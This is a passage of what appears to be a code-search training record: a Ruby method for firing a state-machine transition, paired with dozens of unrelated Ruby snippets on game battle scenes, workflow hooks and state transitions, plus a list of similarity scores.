execute_sql_query(\n \"select state_flag from state \\n \" \\\n \"where state_flag like '%FINALLY_%' \\n\" \\\n \"and status = '#{NOT_RUN}';\"\n )\n results[0].each do |state_flag|\n activate(action: state_flag)\n end\n define_singleton_method(:activate_finally_hooks) {}\n end", "def do(machine)\n\t\t@actions.each{ |a| a.perform machine }\n\t\treturn @nextState\n\tend", "def battletest_sceneswitch\r\n # Play battle start SE\r\n $game_system.se_play($data_system.battle_start_se)\r\n # Play battle BGM\r\n $game_system.bgm_play($game_system.battle_bgm)\r\n # Switch to battle screen\r\n $scene = Scene_Battle.new\r\n end", "def can_walk_to?(transition); end", "def start_phase4\n @a_remaining_pk.visible = false\n @e_remaining_pk.visible = false if $game_temp.trainer_battle\n @phase = 4\n $game_temp.battle_turn += 1\n for index in 0...$data_troops[@troop_id].pages.size\n page = $data_troops[@troop_id].pages[index]\n if page.span == 1\n $game_temp.battle_event_flags[index] = false\n end\n end\n @enemy_actions.clear\n @actor_actions.clear\n #Test IA\n @seed = @magneto.get_action\n @actor_actions += @magneto.get_action\n @enemy_actions += @magneto.get_action\n pc \"New seed : #{@seed}\"\n srand(@seed)\n #>Sécurité\n BattleEngine::set_actors(@actors)\n BattleEngine::set_enemies(@enemies)\n @actions = BattleEngine::_make_action_order(@actor_actions, @enemy_actions, @actors, @enemies)\n @phase4_step = 0\n launch_phase_event(4,true)\n end", "def run_all\n run_on_changes\n end", "def run_all()\n end", "def transitions(object, action, options = T.unsafe(nil)); end", "def transitions\n @transitions ||= {}\n end", "def exec_trans(cmds)\n if (trans = cmds[:trans]) && (next_state = @states[trans])\n next_state\n end\n end", "def transition_at; end", "def transition_at; end", "def perform_transition(transition, *args)\n state_machine.perform_transition(transition) do |callback, around_transition|\n around_args = [around_transition, transition, *args]\n evaluate_around_transition(:before, *around_args)\n evaluate(callback, *args)\n evaluate_around_transition(:after, *around_args)\n end\n end", "def perform_initial_transition?\n !current_state\n end", "def after_cycle; end", "def make_all\n puts \"Making all modules and activities - this will take a while\"\n make_all_modules\n make_all_activities\nend", "def maybe_pause_evolution\n\n end", "def run_all\n continuous_test_server.run_strategy\n end", "def update_transition?\r\n # Abort loop if transition processing\r\n if $game_temp.transition_processing\r\n return true\r\n end\r\n return false\r\n end", "def run_all\n end", "def run_all\n end", "def setup_move\n return TSBS.error(@acts[0], 4, @used_sequence) if @acts.size < 5\n stop_all_movements\n goto(@acts[1], @acts[2], @acts[3], @acts[4], @acts[5] || 0)\n end", "def fire_events(object, *events)\n run_action = [true, false].include?(events.last) ? events.pop : true\n \n # Generate the transitions to run for each event\n transitions = events.collect do |event_name|\n # Find the actual event being run\n event = nil\n detect {|name, machine| event = machine.events[event_name, :qualified_name]}\n \n raise InvalidEvent, \"#{event_name.inspect} is an unknown state machine event\" unless event\n \n # Get the transition that will be performed for the event\n unless transition = event.transition_for(object)\n machine = event.machine\n machine.invalidate(object, :state, :invalid_transition, [[:event, event.human_name]])\n end\n \n transition\n end.compact\n \n # Run the events in parallel only if valid transitions were found for\n # all of them\n if events.length == transitions.length\n TransitionCollection.new(transitions, :actions => run_action).perform\n else\n false\n end\n end", "def do_turn_end_evs\n @wait_on_turn_end_evs = true\n ev_ids = TM.ev_turn_start[TM.turn_no]\n print \"do_turn_end_evs, ev_ids = #{ev_ids} turn_no = #{TM.turn_no}\\n\"\n if ev_ids\n ev_ids.each{|id| Era::AI.start_event(id)}\n end\n end", "def update_states\n @episode = Episode.find(params[:id])\n update_episode_states(@episode)\n update_episode_diff_states(@episode)\n update_episode_commands(@episode)\n redirect_to(@episode)\n end", "def do_state_tasks(iter_num = 0)\n return nil unless @_hegemon_states[@_hegemon_state]\n @_hegemon_states[@_hegemon_state].do_tasks(iter_num)\n nil end", "def start_the_wf\n self.workflow_action = \"start\"\n trigger_workflow \n end", "def after_cycle\n end", "def run_callbacks(index = 0, &block)\n if transition = self[index]\n throw :halt unless transition.run_callbacks(after: !skip_after) do\n run_callbacks(index + 1, &block)\n {result: results[transition.action], success: success?}\n end\n else\n persist\n run_actions(&block)\n end\n end", "def run_all\n copy_all_functions \"Rebuilding all functions\", true\n end", "def starten\n create_fox_components\n instance_final_activate\n activate\n end", "def perform(&block)\n reset\n\n if valid?\n if use_event_attributes? && !block_given?\n each do |transition|\n transition.transient = true\n transition.machine.write(object, :event_transition, transition)\n end\n\n run_actions\n else\n within_transaction do\n catch(:halt) { run_callbacks(&block) }\n rollback unless success?\n end\n end\n end\n\n if actions.length == 1 && results.include?(actions.first)\n results[actions.first]\n else\n success?\n end\n end", "def execute\n return unless active\n # TODO: Add after and finally hooks. Search for them here and action if found\n # TODO if found don't break out until they have finished. Timeout??\n update_option_group_run_phase_state('SHUTDOWN')\n\n # First take care of any after hooks\n activate_hooks('AFTER')\n return unless hooks_completed('AFTER')\n\n # Then take care of any finally hooks\n activate_hooks'FINALLY'\n return unless hooks_completed('FINALLY')\n\n # Then stop\n update_state('READY_TO_RUN', SKIP)\n update_state('BREAKOUT', ACT)\n end", "def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end", "def setup_reset\n stop_all_movements\n goto(@ori_x, @ori_y, @acts[1], @acts[2])\n end", "def transition\n new_state = fetch_sensor_state\n return if new_state == @state\n puts \"Transitioned from #{@state} to #{new_state}\"\n if valid_transition?(new_state)\n @state = new_state\n # Do nothing\n else\n puts \"Invalid transition!\"\n @beam_broken = 0\n # TODO: toss up the correct error light\n end\n end", "def running; end", "def running; end", "def phase_one\n puts \"Phase 1 has been started\"\n\n 8.times do\n selected_tribe = @borneo.immunity_challenge\n\t\tputs \"#{selected_tribe} was the tribe selected to vote\".yellow\n\t\tvoted_off = selected_tribe.tribal_council\n\t\tputs \"#{voted_off} was voted OUT!\".red\n end\nend", "def scenarios\n @runner.done_scenarios\n end", "def run\n evaluate_checks if @config.key?('checks')\n evaluate_custom if @config.key?('custom')\n evaluate_and_dispatch_events\n end", "def run_callbacks(index = 0)\n if index == 0\n # Clears any traces of the event attribute to prevent it from being\n # evaluated multiple times if actions are nested\n each do |transition|\n transition.machine.write(object, :event, nil)\n transition.machine.write(object, :event_transition, nil)\n end\n\n # Rollback only if exceptions occur during before callbacks\n begin\n super\n rescue\n rollback unless @before_run\n @success = nil # mimics ActiveRecord.save behavior on rollback\n raise\n end\n\n # Persists transitions on the object if partial transition was successful.\n # This allows us to reference them later to complete the transition with\n # after callbacks.\n each { |transition| transition.machine.write(object, :event_transition, transition) } if skip_after && success?\n else\n super\n end\n end", "def perform_hooks!\n @perform_hooks = true\n end", "def perform\n\tgame_menu\n\tgameplay\nend", "def run_on_change(paths)\n @state_machine.changed_paths = paths\n @state_machine.run_on_change\n end", "def moves\n # overridden in slideable/stepable modules\n end", "def tour (starting, following)\n action(action_choice(starting.name), starting)\n if is_over? != true\n action(action_choice(following.name), following)\n end\nend", "def run_all\n run_suite(@suite)\n end", "def auto_transfert_update\n loop do\n # Updating game_map, interpreter & player should be done in this order (to prevent player from moving before events do something)\n $game_map.update\n $game_system.map_interpreter.update\n $game_player.update\n # Update the screen information\n $game_system.update\n $game_screen.update\n # If the player is not warping (event asked for it / MapLinker asked for it we stop the loop)\n break unless $game_temp.player_transferring\n # Otherwise we transfert the player\n transfer_player\n # If there's a transition we don't try to update the map & interpreter again we let the transition do its job\n break if $game_temp.transition_processing\n end\n end", "def first_steps\n loop do\n puts \"Right foot back\"\n sleep (0.5)\n puts \"Left foot back\"\n sleep (0.5)\n puts \"Right foot back\"\n sleep (0.5)\n puts \"Stop\"\n sleep (1)\n end\nend", "def update_stepping\n FollowingMoveRoute([PBMoveRoute::StepAnimeOn])\n end", "def first_steps\n loop do\n puts \"Right foot back\"\n sleep\n puts \"Left foot back\"\n sleep\n puts \"Right foot back\"\n sleep\n puts \"Stop\"\n sleep\n end\nend", "def start_all_workflows\n wf_states = workflow_states\n\n wf_states.each { |wf_id, state| start_workflow(workflow_id: wf_id) if state[:workflow_state] == \"STOPPED\" }\n workflow_states\n end", "def periodic\n SND.log.debug 'Periodic actions start'\n SND::Game.game_operations\n SND::Game.start_games\n SND.log.debug 'Periodic actions end'\n end" ]
[ "0.68035895", "0.6741294", "0.6566988", "0.64490163", "0.6074535", "0.60683733", "0.602775", "0.6026691", "0.59877396", "0.59870976", "0.59158295", "0.5884009", "0.58793586", "0.5784965", "0.5781985", "0.5753808", "0.5749438", "0.5726816", "0.5699352", "0.56908995", "0.56908995", "0.56905407", "0.56839746", "0.5660877", "0.5650608", "0.5644492", "0.56444776", "0.5641594", "0.56272703", "0.5622561", "0.5622171", "0.56170475", "0.55620193", "0.55356514", "0.5525327", "0.5513492", "0.54957765", "0.5491288", "0.5482936", "0.5466766", "0.5455468", "0.54404455", "0.54371554", "0.54371554", "0.54371554", "0.54371554", "0.54371077", "0.5434201", "0.54248494", "0.53884923", "0.5386924", "0.5365485", "0.53523123", "0.5351439", "0.53429765", "0.53415394", "0.5333607", "0.5333607", "0.5331026", "0.5327645", "0.5303296", "0.52962685", "0.529259", "0.5285065", "0.5270183", "0.5268001", "0.5268001", "0.5250726", "0.52504635", "0.5243232", "0.5236729", "0.5234493", "0.5212332", "0.5212067", "0.52034086", "0.5192362", "0.5188493", "0.5188122", "0.51872814", "0.5183079", "0.5183079", "0.51770586", "0.5169165", "0.5169165", "0.51662654", "0.51615137", "0.5157775", "0.51555854", "0.5152999", "0.51468354", "0.5145873", "0.51393414", "0.5138523", "0.513717", "0.5135217", "0.5134988", "0.5132412", "0.51297665", "0.51252", "0.51208323" ]
0.6785611
1
Fires transition if enabled, executes binded block
def perform_action(transition, params: {}, color: {}) if transition_enabled?(transition, color: color) perform_action!(transition, params: params, color: color) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def transition(&block)\n @transition_function = block\n end", "def after_transition(*args, &block); end", "def transition(&block)\n @d = block\n end", "def do_transition!( transition )\n state.trigger( transition.to_sym )\n self.save\n end", "def run(record, bang)\n from_state = record.send(machine.attribute)\n \n # Stop the transition if any before callbacks fail\n return false if invoke_callbacks(record, :before, from_state) == false\n result = update_state(record, bang)\n \n # Always invoke after callbacks regardless of whether the update failed\n invoke_callbacks(record, :after, from_state)\n \n result\n end", "def activate\n self.send(@activation_block)\n end", "def fire!(record)\n run(record, true) || raise(PluginAWeek::StateMachine::InvalidTransition, \"Cannot transition via :#{name} from \\\"#{record.send(machine.attribute)}\\\"\")\n end", "def record_block\n @block = true\n end", "def on_state(state, &block)\n end", "def callback_phase\n super\n end", "def after\n each {|transition| transition.machine.write(object, :event_transition, transition)} if skip_after && success?\n super\n end", "def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end", "def on_actuator_state(&block)\n\t\t\t@on_actuator_state = block\n\t\tend", "def main_end\r\n super\r\n # Execute transition\r\n Graphics.transition(40)\r\n # Prepare for transition\r\n Graphics.freeze\r\n # If battle test\r\n if $BTEST\r\n $scene = nil\r\n end\r\n end", "def toggle\n fire\n end", "def callback &block\n super\n end", "def callback &block\n super\n end", "def do_enable(transition)\n Rails.logger.info \"Transitioning #{login} from #{transition.from} to #{transition.to} via #{transition.event} event. Passing rules: #{passing_rules.map(&:name).join(', ')}.\"\n add_back_disabled_teams\n end", "def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def transition!(name, &block)\n options = @transitions[name]\n @style.animation = [options[:animation_name],\n options[:duration],\n options[:delay], 'both'].join(' ')\n @transition_callback = block\n end", "def start_transition\n nil\n end", "def transitions; end", "def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def _activate\n\t\t\tend", "def perform(&block)\n reset\n\n if valid?\n if use_event_attributes? && !block_given?\n each do |transition|\n transition.transient = true\n transition.machine.write(object, :event_transition, transition)\n end\n\n run_actions\n else\n within_transaction do\n catch(:halt) { run_callbacks(&block) }\n rollback unless success?\n end\n end\n end\n\n if actions.length == 1 && results.include?(actions.first)\n results[actions.first]\n else\n success?\n end\n end", "def fire\n @callback.call\n end", "def post_block\n end", "def post_block\n end", "def at_cycle_begin(**options, &block)\n add_propagation_handler(**options.merge(type: :external_events), &block)\n end", "def run\n @state.run(self)\n end", "def execute\n listen_for_changes\n @block.call\n end", "def run(record, bang)\n result = false\n \n record.class.transaction do\n transitions.each do |transition|\n if transition.can_perform?(record)\n result = bang ? transition.perform!(record) : transition.perform(record)\n break\n end\n end\n \n # Rollback any changes if the transition failed\n raise ActiveRecord::Rollback unless result\n end\n \n result\n end", "def do_run\n ready\n aim\n fire!\n end", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def trigger!\n\treturn if (@next_state_name == nil)\n\n\tcurrent_state = nil\n current_state = @states.fetch(@current_state_name) unless @current_state_name.nil?\n\n\tnext_state = @states.fetch(@next_state_name)\n next_state_name = @next_state_name\n\n\t@next_state_name = nil\n\n\tcurrent_state.atexit if(current_state.respond_to?(:atexit))\n\t@current_state_name = next_state_name\n\tnext_state.atentry if(next_state.respond_to?(:atentry))\n end", "def activate\n (self.class.activate_hooks + activate_hooks).each do |block|\n block.call self\n end\n end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def control_state_change(&block)\n # Look for a default transition\n default_transition = state_transitions.detect {|t| t.event == :take_default_path }\n\n if default_transition.present?\n # This ugly thing should yield the default transition first followed by\n # any other transitions to states that aren't the default...\n yield( [default_transition] + state_transitions.reject {|t| t.to == default_transition.to } )\n elsif state_transitions.present?\n # ...if there's no default transition but there are still other transitions\n # present then yield those.\n yield(state_transitions)\n end\n\n nil\n end", "def on_change_status(&block)\n self.actions[:change_status] = block\n end", "def callback(&block)\n super do |*args|\n safe_deferrable_block(*args, &block)\n end\n end", "def block\n true\n end", "def state_added! statemachine\n transitions_changed!\n end", "def on_change (&block)\n debug \"Somebody bound to me\"\n @change_observers << block\n end", "def call_block\n @_block.call(self) if @_block\n end", "def activate; end", "def activate\n true\n end", "def start\n state_change(:start) if transition.trigger?(:start)\n add_start_notifications\n run # TODO: Maybe there's a block here?\n clear_state_notifications\n end", "def perform!\n super\n transfer!\n cycle!\n end", "def do_ready_state( item )\n @proxy.do_ready_state( validate_item( item ) )\n end", "def execute!(event, obj)\n state_machine.run_callback event.name, obj do |obj|\n unless execute_action(event, obj)\n raise Jsm::IllegalTransitionError, \"there is no matching transitions or invalid, Cant do event #{event.name}\"\n end\n true\n end\n end", "def after_block_boundary?; end", "def perform_initial_transition?\n !current_state\n end", "def transition_at; end", "def transition_at; end", "def trigger!\n end", "def call_transition_method(*args)\n unless [:logger, :command_listener].include?(agent_type)\n log do |msg|\n msg.add_record(agent_type, \"action\", \"transit\")\n msg.add_record(agent_type, \"state\", args.first)\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n end\n super\n end", "def on(transition_identifier, &block)\n raise ArgumentError, 'No block given' unless block\n @execution_callbacks[transition_by_identifier!(transition_identifier)] = block\n end", "def when_ready(&block)\n handle :ready, &block\n end", "def apply_to state_or_event, options, &block\n StateFu::Lathe.new( machine, state_or_event, options, &block )\n state_or_event\n end", "def send_to_analysis\n transition_to :in_analysis\n end", "def on(definition, &block)\n create_active(definition)\n call_block(&block)\n end", "def activate()\n end", "def on_speed_change(&block)\n\t\t\t@on_speed_change = block\n\t\tend", "def callback(name)\n transition.send(\"do_#{name}\") || \"#{name}_#{previous}_to_#{current}\"\n end", "def block(block)\n @components[:__base__] = block\n @load_order << :__base__\n true\n end", "def can_walk_to?(transition); end", "def fire_state_changed\n @sce = ChangeEvent.new(self) if @sce.nil?\n fire_handler :STATE_CHANGE, @sce\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def transition(from, to)\n ev, *args = trigger(from)\n raise IllegalTransition, \"No transition to :#{ev}\" unless to.include?(ev)\n ev = yield ev if block_given?\n send \"perform_#{ev}\", *args\n end", "def transition(from, to)\n ev, *args = trigger(from)\n raise IllegalTransition, \"No transition to :#{ev}\" unless to.include?(ev)\n ev = yield ev if block_given?\n send \"perform_#{ev}\", *args\n end", "def take_while( & block )\n \n load_parent_state\n \n return super\n\n end", "def busy( &block )\n self.connection.status( :dnd, \"Working...\" )\n yield\n self.connection.status( :chat, \"JabberListener waiting for instructions\" )\n end", "def block(block)\n @components[:__base__] = self.class.build(&block)\n @load_order << :__base__\n true\n end", "def perform!(record)\n run(record, true) || raise(PluginAWeek::StateMachine::InvalidTransition, \"Could not transition via :#{event.name} from #{record.send(machine.attribute).inspect} to #{@options[:to].inspect}\")\n end", "def register_events(klass, state, other_params, &exec_block)\n @klass_being_defined = klass\n @state_being_defined = state\n\n # if an initial state has not been set, then set it. In practice, means the first state definition\n # gets the initial state.\n @cfsm_initial_state[ klass ] = state unless @cfsm_initial_state[ klass ]\n\n # Evaluate the transition definitions\n self.instance_eval( &exec_block ) if exec_block\n\n @klass_being_defined = nil\n @state_being_defined = nil\n @other_params = other_params\n end", "def on_success(&block)\n apply_hook(:success, &block)\n end", "def trigger!(event, metadata={})\n if !trigger(event, metadata)\n raise StateTransitionException::TransitionNotPermitted\n end\n end", "def update_transition?\r\n # Abort loop if transition processing\r\n if $game_temp.transition_processing\r\n return true\r\n end\r\n return false\r\n end", "def start &block\n @actions[:start] = block\n end", "def block!\n self.update_attribute(:blocked, true)\n end", "def activate\n @status = true\n end", "def visit_step(step)\n tc_before_step(step)\n super\n tc_after_step(step)\n end", "def flow(active = false, &block)\n @client.send Protocol::Channel::Flow.encode(@id, active)\n\n self.callbacks[:flow] = block\n self.connection.channels_awaiting_flow_ok.push(self)\n end", "def activate!\n raise NotImplementedError\n end", "def control_light\n if @is_toggled\n @is_emitting_light = true\n else\n @is_emitting_liht = false\n end\n end", "def trigger\n @triggered += 1\n end", "def transition?\n not @transition.nil? || @transition.finished?\n end", "def run_block\n if @block\n _block = @block\n @block = nil\n instance_eval &_block\n true\n end\n end", "def block!\n self.update_attribute(:status, BLOCKED)\n end", "def after_transition(order, transition)\n if transition.attributes[:event].to_s == \"complete\" && order.user\n if order.bill_address.id && order.ship_address.id\n order.user.update_attributes!(\n :bill_address_id => order.bill_address.id,\n :ship_address_id => order.ship_address.id\n )\n end\n end\n end", "def complete\n state_change(:complete) if transition.trigger?(:complete)\n add_save_notifications\n run\n clear_state_notifications\n end", "def enter_state\n end", "def run!\n broadcast!\n super\n end", "def begin_layer(&block)\n @p.begin_layer(self, &block)\n end", "def handler_executed(handler)\n end", "def after_state(state)\n end", "def trigger(owner, event, *args); end", "def activate_stop\n self.is_active = true\n self.send(:update_without_callbacks)\n end", "def activate\n @active = true\n end" ]
[ "0.6767427", "0.671598", "0.664063", "0.6394363", "0.61014885", "0.5858722", "0.5777584", "0.57334495", "0.57166046", "0.5662541", "0.5615178", "0.56069005", "0.5574778", "0.55693823", "0.5527613", "0.54980886", "0.54980886", "0.54751515", "0.54633814", "0.5441095", "0.5434526", "0.54344076", "0.54330623", "0.54230446", "0.54062843", "0.5397368", "0.5391301", "0.5391301", "0.53798264", "0.53385884", "0.53345007", "0.5324917", "0.5316076", "0.53149945", "0.53149945", "0.5307959", "0.53003734", "0.5288425", "0.5288425", "0.52713746", "0.52702445", "0.5258262", "0.5253514", "0.52323675", "0.5232022", "0.5226115", "0.5220162", "0.5218923", "0.52141035", "0.52000767", "0.5170618", "0.5156253", "0.51522595", "0.5134603", "0.51279217", "0.51279217", "0.51238316", "0.51041913", "0.5094216", "0.50739276", "0.50671977", "0.5057379", "0.50522226", "0.5042364", "0.5039083", "0.50346875", "0.50324637", "0.5031669", "0.502762", "0.5021138", "0.49940234", "0.49940234", "0.49800935", "0.49743253", "0.49715734", "0.49705714", "0.49688727", "0.49668378", "0.49612722", "0.49562946", "0.49535435", "0.49432826", "0.49412885", "0.49408025", "0.493826", "0.49367324", "0.4928218", "0.49259824", "0.49239957", "0.49223423", "0.49218634", "0.49185938", "0.49146873", "0.49117565", "0.49105412", "0.49100682", "0.4909294", "0.49074262", "0.4894594", "0.48933673", "0.4891503" ]
0.0
-1
Fires transition, executes binded block
def perform_action!(transition, params: {}, color: {}) Action.new(self, transition, params: params, color: color).perform!.tap do execute_automated!(source: transition, params: params, color: color) end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def after_transition(*args, &block); end", "def transition(&block)\n @transition_function = block\n end", "def transition(&block)\n @d = block\n end", "def do_transition!( transition )\n state.trigger( transition.to_sym )\n self.save\n end", "def fire!(record)\n run(record, true) || raise(PluginAWeek::StateMachine::InvalidTransition, \"Cannot transition via :#{name} from \\\"#{record.send(machine.attribute)}\\\"\")\n end", "def transitions; end", "def run(record, bang)\n from_state = record.send(machine.attribute)\n \n # Stop the transition if any before callbacks fail\n return false if invoke_callbacks(record, :before, from_state) == false\n result = update_state(record, bang)\n \n # Always invoke after callbacks regardless of whether the update failed\n invoke_callbacks(record, :after, from_state)\n \n result\n end", "def fire\n @callback.call\n end", "def run\n @state.run(self)\n end", "def post_block\n end", "def post_block\n end", "def transition!(name, &block)\n options = @transitions[name]\n @style.animation = [options[:animation_name],\n options[:duration],\n options[:delay], 'both'].join(' ')\n @transition_callback = block\n end", "def transition_at; end", "def transition_at; end", "def main_transition\r\n # Execute transition\r\n if $data_system.battle_transition == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $data_system.battle_transition)\r\n end\r\n # Start pre-battle phase\r\n start_phase1\r\n end", "def update_transition\r\n # If transition is processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == \"\"\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, \"Graphics/Transitions/\" +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def main_end\r\n super\r\n # Execute transition\r\n Graphics.transition(40)\r\n # Prepare for transition\r\n Graphics.freeze\r\n # If battle test\r\n if $BTEST\r\n $scene = nil\r\n end\r\n end", "def update_transition\r\n # If transition processing\r\n if $game_temp.transition_processing\r\n # Clear transition processing flag\r\n $game_temp.transition_processing = false\r\n # Execute transition\r\n if $game_temp.transition_name == ''\r\n Graphics.transition(20)\r\n else\r\n Graphics.transition(40, 'Graphics/Transitions/' +\r\n $game_temp.transition_name)\r\n end\r\n end\r\n end", "def perform(&block)\n reset\n\n if valid?\n if use_event_attributes? && !block_given?\n each do |transition|\n transition.transient = true\n transition.machine.write(object, :event_transition, transition)\n end\n\n run_actions\n else\n within_transaction do\n catch(:halt) { run_callbacks(&block) }\n rollback unless success?\n end\n end\n end\n\n if actions.length == 1 && results.include?(actions.first)\n results[actions.first]\n else\n success?\n end\n end", "def transition(from, to)\n ev, *args = trigger(from)\n raise IllegalTransition, \"No transition to :#{ev}\" unless to.include?(ev)\n ev = yield ev if block_given?\n send \"perform_#{ev}\", *args\n end", "def transition(from, to)\n ev, *args = trigger(from)\n raise IllegalTransition, \"No transition to :#{ev}\" unless to.include?(ev)\n ev = yield ev if block_given?\n send \"perform_#{ev}\", *args\n end", "def after\n each {|transition| transition.machine.write(object, :event_transition, transition)} if skip_after && success?\n super\n end", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def runblock\r\n\t\t\t@b.call\r\n\t\tend", "def on_state(state, &block)\n end", "def start_transition\n nil\n end", "def perform_transition(transition, *args)\n state_machine.perform_transition(transition) do |callback, around_transition|\n around_args = [around_transition, transition, *args]\n evaluate_around_transition(:before, *around_args)\n evaluate(callback, *args)\n evaluate_around_transition(:after, *around_args)\n end\n end", "def on(transition_identifier, &block)\n raise ArgumentError, 'No block given' unless block\n @execution_callbacks[transition_by_identifier!(transition_identifier)] = block\n end", "def callback_phase\n super\n end", "def trigger!\n\treturn if (@next_state_name == nil)\n\n\tcurrent_state = nil\n current_state = @states.fetch(@current_state_name) unless @current_state_name.nil?\n\n\tnext_state = @states.fetch(@next_state_name)\n next_state_name = @next_state_name\n\n\t@next_state_name = nil\n\n\tcurrent_state.atexit if(current_state.respond_to?(:atexit))\n\t@current_state_name = next_state_name\n\tnext_state.atentry if(next_state.respond_to?(:atentry))\n end", "def execute\n listen_for_changes\n @block.call\n end", "def activate\n self.send(@activation_block)\n end", "def callback(name)\n transition.send(\"do_#{name}\") || \"#{name}_#{previous}_to_#{current}\"\n end", "def callback &block\n super\n end", "def callback &block\n super\n end", "def perform!\n super\n transfer!\n cycle!\n end", "def do_run\n ready\n aim\n fire!\n end", "def end_transition\n nil\n end", "def record_block\n @block = true\n end", "def call_transition_method(*args)\n unless [:logger, :command_listener].include?(agent_type)\n log do |msg|\n msg.add_record(agent_type, \"action\", \"transit\")\n msg.add_record(agent_type, \"state\", args.first)\n msg.add_record(agent_type, \"uuid\", uuid)\n end\n end\n super\n end", "def state_added! statemachine\n transitions_changed!\n end", "def main_transition\r\n Graphics.transition(120)\r\n end", "def main_begin\n create_graphics\n sort_sprites\n fade_in(@mbf_type || DEFAULT_TRANSITION, @mbf_param || DEFAULT_TRANSITION_PARAMETER)\n end", "def call_block\n @_block.call(self) if @_block\n end", "def start\n state_change(:start) if transition.trigger?(:start)\n add_start_notifications\n run # TODO: Maybe there's a block here?\n clear_state_notifications\n end", "def transition( trigger )\r\n raise \"Must set the current/start state first.\" unless @state\r\n\r\n initial_state = @state if $DEBUG\r\n\r\n handler_name = self.class.state_handler_name[ @state ]\r\n unless handler_name\r\n puts \"No handler for state #@state\" if $DEBUG\r\n return nil\r\n end\r\n\r\n # Invoke the handler for this state, passing in the trigger\r\n # and use the return value as the new state\r\n @state = send( handler_name, trigger )\r\n puts \"#{self}.transition(#{trigger}) :: #{initial_state} -> #@state\" if $DEBUG\r\n @state\r\n end", "def trigger(owner, event, *args); end", "def place(transition)\n newx, newy, newdir = transition.args\n @posx = newx.to_i\n @posy = newy.to_i\n @dir = newdir\n activate\n end", "def main_transition\r\n Graphics.transition\r\n end", "def dispatch event\n @dispatch_fiber.resume event\n end", "def on_success(&block)\n apply_hook(:success, &block)\n end", "def start &block\n @actions[:start] = block\n end", "def after_transition(order, transition)\n if transition.attributes[:event].to_s == \"complete\" && order.user\n if order.bill_address.id && order.ship_address.id\n order.user.update_attributes!(\n :bill_address_id => order.bill_address.id,\n :ship_address_id => order.ship_address.id\n )\n end\n end\n end", "def run_block\n @_block_content = nil\n unless block.blank?\n @_block_content = if view.parent.present?\n capture(view, &block)\n else\n ## We've been called directly from a controller.\n yield(view)\n end\n end\n end", "def run(record, bang)\n result = false\n \n record.class.transaction do\n transitions.each do |transition|\n if transition.can_perform?(record)\n result = bang ? transition.perform!(record) : transition.perform(record)\n break\n end\n end\n \n # Rollback any changes if the transition failed\n raise ActiveRecord::Rollback unless result\n end\n \n result\n end", "def run\n\t\t\t@walker.run do\n\t\t\t\tself.update\n\t\t\t\t\n\t\t\t\tyield @walker if block_given?\n\t\t\tend\n\t\tend", "def after_state(state)\n end", "def visit_step(step)\n tc_before_step(step)\n super\n tc_after_step(step)\n end", "def call(vm)\r\n @block.call(self, vm)\r\n end", "def send_to_analysis\n transition_to :in_analysis\n end", "def action_run\n end", "def action_complete() self.finished = true; end", "def on_actuator_state(&block)\n\t\t\t@on_actuator_state = block\n\t\tend", "def handler_executed(handler)\n end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def block; end", "def run\n if @block.arity >= 1\n @block.call self\n else\n @block.call\n end\n end", "def on_success(&block); end", "def closure! \n cstart = new_state\n cend = new_state\n\n add_transition(cstart, cend, \"\")\n add_transition(cend, cstart, \"\")\n\n add_transition(cstart, @start, \"\")\n @final.keys.each { |key| add_transition(key, cend, \"\")}\n\n set_start(cstart)\n @final.keys.each { |key| set_final(key, false)}\n set_final(cend, true)\n\n\n end", "def act\n end", "def complete\n state_change(:complete) if transition.trigger?(:complete)\n add_save_notifications\n run\n clear_state_notifications\n end", "def alaram_operation action\n @state = action\n notify\nend", "def trigger(event)\n if @events.include? event\n @triggered << event\n catch(:transition) do\n @events[event].each { |block| instance_eval(&block) }\n nil\n end\n else\n raise NameError, \"No such event: #{event}\"\n end\n end", "def trigger(event)\n if @events.include? event\n @triggered << event\n catch(:transition) do\n @events[event].each { |block| instance_eval(&block) }\n nil\n end\n else\n raise NameError, \"No such event: #{event}\"\n end\n end", "def action_state_machine(&block)\n model = Coordination::ActionStateMachine\n .new_submodel(action_interface: nil, root: self.model)\n model.parse(&block)\n model.new(self)\n end", "def after_block_boundary?; end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def onChange (&block)\n debug(\"Somebody bound to me\")\n @changeListeners << block\n end", "def trigger!\n end", "def flow\n 